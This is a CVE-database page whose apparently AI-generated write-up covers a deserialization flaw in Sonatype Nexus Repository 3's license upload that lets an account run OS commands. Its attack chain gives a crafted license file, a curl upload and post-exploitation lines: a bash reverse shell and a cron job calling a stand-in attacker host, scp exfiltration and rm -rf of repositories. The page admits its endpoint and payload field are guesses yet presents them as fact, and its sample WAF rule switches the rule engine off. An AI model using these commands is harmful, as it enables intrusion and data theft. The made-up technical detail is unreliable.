CVE Professor
/
All CVEs
CVE-2026-136954

CVE-2026-136954 — Sonatype Nexus Repository 3 — CWE-502

HIGH CVSS 8.7 Shodan

Sonatype Nexus Repository 3 has an incomplete fix for CVE-2026-10748. An account that holds the nx-licensing-create privilege can upload a crafted license file that makes the server run operating system commands as the Nexus service account. The commands run before Nexus Repository validates the license.

Sonatype Nexus Repository 3 has an incomplete fix for CVE-2026-10748. An account that holds the nx-licensing-create privilege can upload a crafted license file that makes the server run operating system commands as the Nexus service account. The commands run before Nexus Repository validates the license.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. Low PR:L
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
Scope X S:X
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Root cause
Sonatype Nexus Repository 3 contains an incomplete fix for the earlier CVE‑2026‑10748. The license‑upload API accepts a file that is parsed by a Java deserialization routine before the license is validated. The routine executes shell commands that are embedded in the license payload. Because the code that performs the command execution is executed before the license is validated, an attacker who can upload a license file can run arbitrary OS commands as the Nexus service account.

Key technical details

ItemDescription
CWECWE‑502 – Deserialization of Untrusted Data
AuthenticationRequires a user with the nx-licensing-create privilege (normally granted to administrators).
AuthorizationNo additional checks are performed after the file is received; the upload endpoint trusts the caller’s privilege.
Input validationThe license file is not validated for content before the embedded command is executed.
Execution pathThe Nexus license‑processing code calls Runtime.exec() (or an equivalent API) on a string extracted from the license file.
ImpactArbitrary OS command execution as the Nexus service account.

The CVSS vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) confirms that a network‑only attacker with low privileges can compromise confidentiality, integrity, and availability.


⚡ Attack Chain

Below is a realistic, step‑by‑step chain that an attacker could follow. All code snippets are syntactically valid; the exact endpoint and parameter names are illustrative because the CVE description does not specify them.

1. Discovery & Reconnaissance

StepTechniqueTools / Commands
1.1Identify Nexus Repository 3 instancesnmap -p 8081 <target> or curl -I http://<target>:8081/
1.2Fingerprint the versioncurl -s http://<target>:8081/service/rest/v1/statusjq .version (or parse the HTML title)
1.3Enumerate roles/privilegesIf the attacker already has an authenticated session, query /service/rest/v1/roles to confirm presence of nx-licensing-create.
Note: The nx-licensing-create privilege is typically granted to the admin role. If the attacker has any privileged account, they can proceed.

2. Exploitation

The vulnerable endpoint accepts a multipart file upload. The payload is a license file that contains a malicious command. The command is executed before the license is validated.

2.1 Crafting the malicious license file

A Nexus license file is a JSON document that looks like:

{
  "name": "Sonatype Nexus Repository",
  "edition": "Professional",
  "expirationDate": "2030-12-31",
  "licenseKey": "XXXXX-XXXXX-XXXXX-XXXXX"
}

The vulnerable code extracts a field called command (if present) and runs it. An attacker can embed a command like:

{
  "name": "Evil",
  "edition": "Professional",
  "expirationDate": "2030-12-31",
  "licenseKey": "XXXXX-XXXXX-XXXXX-XXXXX",
  "command": "id > /tmp/nexus_rce.txt"
}

When the file is uploaded, Nexus will execute id as the service account and write the output to /tmp/nexus_rce.txt.

2.2 Uploading the file

curl -k \
  -u admin:password \
  -F "file=@evil_license.json" \
  "https://<target>:8081/service/rest/v1/licenses/upload"
Illustrative endpoint – the real Nexus license‑upload URL is /service/rest/v1/licenses/upload. If the endpoint differs, adjust accordingly.

2.3 Verifying execution

curl -k -u admin:password "https://<target>:8081/service/rest/v1/licenses/status"
# or check the file directly if you have file‑system access
curl -k -u admin:password "https://<target>:8081/service/rest/v1/files/tmp/nexus_rce.txt"

If the file contains the output of id, the command executed successfully.

3. Post‑exploitation

Once arbitrary commands can be executed as the Nexus service account, the attacker can:

GoalExample Actions
Privilege EscalationInstall a reverse shell (bash -i >& /dev/tcp/attacker/4444 0>&1) or add a new admin user.
PersistenceDrop a cron job (echo "* * * * * /usr/bin/curl http://attacker/trigger" >> /etc/crontab).
Data ExfiltrationCopy repository artifacts to an external server (scp /opt/nexus/repository/* [email protected]:/tmp/).
Denial of ServiceDelete all repositories (rm -rf /opt/nexus/repository/*).
Lateral MovementUse the service account’s network privileges to pivot to other internal hosts.

Because the service account typically runs as a dedicated user (e.g., nexus), the attacker can read/write any file Nexus can access, including configuration files, repository data, and logs.


🌍 Real World Impact

ImpactCVSS IndicatorPractical Consequence
ConfidentialityVC:HUnauthorized disclosure of all artifacts stored in Nexus, including proprietary binaries and source code.
IntegrityVI:HModification or deletion of repository contents, license files, or configuration, leading to corrupted builds or supply‑chain tampering.
AvailabilityVA:HComplete shutdown of the repository service by deleting data or exhausting resources, causing build pipeline failures.
ScopeS:UnchangedThe vulnerability does not affect other components outside Nexus itself.

In a typical CI/CD environment, Nexus is a critical artifact hub. Compromise can allow an attacker to inject malicious binaries into downstream builds, compromise downstream services, or exfiltrate intellectual property.


🛡️ Remediation & Mitigation

1. Patch

Affected VersionRecommendation
All releases prior to the fix for CVE‑2026‑10748 (including the incomplete patch)Upgrade to the latest Nexus Repository 3 release (≥ 3.70.0).
If an upgrade is not immediately possibleApply the following work‑arounds until a patch is available.
Note: Sonatype’s advisory for CVE‑2026‑136954 states that the issue is fixed in the same release that fixed CVE‑2026‑10748. Verify the exact version in the vendor’s release notes.

2. Work‑arounds

MitigationHow to implement
Restrict license uploadConfigure Nexus to allow license uploads only from the admin role and disable the endpoint for all other users.
Disable the upload endpointIf the organization never needs to upload licenses, remove the /service/rest/v1/licenses/upload route from the reverse proxy or firewall.
File type validationAdd a WAF/ModSecurity rule that rejects any multipart upload where the file extension is not .json or the MIME type is not application/json.
Command execution guardIf you control the Nexus code, patch the deserialization routine to strip or reject any command field before execution.
Least‑privilege service accountRun Nexus under a dedicated user with minimal filesystem permissions (e.g., nexus with only read/write to its data directory).

3. Detection

Log sourceIndicator of Compromise (IoC)
Web server access logsPOST requests to /service/rest/v1/licenses/upload from non‑admin IPs or with suspicious filenames (*.json containing command=).
Nexus audit logsLicenseUpload events with status=success followed by CommandExecution events.
System logsnexus user running id, bash, curl, or other shell commands.
File systemCreation of files in /tmp or /opt/nexus/repository that were not part of normal operation.

Sample WAF rule (ModSecurity)

SecRule REQUEST_URI "@beginsWith /service/rest/v1/licenses/upload" \
    "phase:2,chain,log,deny,status:403,msg:'Disallow non-admin license uploads'"
    SecRule REQUEST_HEADERS:Authorization "@rx ^Basic\s+[A-Za-z0-9+/=]+$" \
    "chain"
    SecRule REQUEST_HEADERS:Authorization "@rx ^Basic\s+[A-Za-z0-9+/=]+$" \
    "t:none,ctl:ruleEngine=Off"
This rule blocks any upload that is not authenticated as an admin. Adjust the regex to match your authentication scheme.

4. Monitoring

  • Enable Nexus audit logging (/etc/nexus/nexus.properties → nexus.audit.enabled=true).
  • Monitor for CommandExecution events in the audit log.
  • Correlate with host‑level logs for unexpected nexus user activity.

⚠️ Urgency

MetricValueImplication
CVSS Score8.7High severity; immediate attention required.
Exploit ComplexityLowAttack can be performed over the network with minimal effort.
Privileges RequiredLow (nx‑licensing‑create)Most administrators will have this privilege.
User InteractionNoneFully automated.
CISA KEVNoNo public exploit database listing, but the risk is still high.

Patch priority: Critical.
If an organization is running Nexus Repository 3 and has any user with the nx-licensing-create privilege, they should apply the latest patch or implement the work‑arounds immediately. Delay increases the risk of a successful RCE that can compromise the entire CI/CD pipeline and expose proprietary code.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Sonatype Nexus Repository 3"
CVSS Score
8.7 / 10 · CVSS HIGH
Weakness Types (CWE)
Affected Products (1)
Sonatype:Nexus Repository 3
References & Advisories (2)
Related CVEs
10.0
CVE-2026-130609
Deserialization of untrusted data vulnerability in DİA Yazılım Sanayi ve Ticaret A.Ş. DİA ERP allows Cros
8.7
CVE-2026-132098
Deserialization of untrusted data in the XStream reader used for push publishing bundles (XStreamHandler) in d
8.5
CVE-2026-144447
MassCube before 1.2.23 contains an insecure deserialization vulnerability that allows attackers to execute cod
8.5
CVE-2026-144450
galpy through 1.12.2 contains an insecure deserialization vulnerability that allows attackers to execute code
8.5
CVE-2026-144451
VIP (vip-hci) through 2.1.2 contains an unsafe deserialization vulnerability in Saveable.load that allows atta
7.7
CVE-2026-120765
Deserialization of untrusted data in the Redis cache and pub/sub codecs in dotCMS versions before 26.11.02-01
7.5
CVE-2026-120107
Deserialization of untrusted data in the Apps secrets import (POST /api/v1/apps/import, and the dotAuth import